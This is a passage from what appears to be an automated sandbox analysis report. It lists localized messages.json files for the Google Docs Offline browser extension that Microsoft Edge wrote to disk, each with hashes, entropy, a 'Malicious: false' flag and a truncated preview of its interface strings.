Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
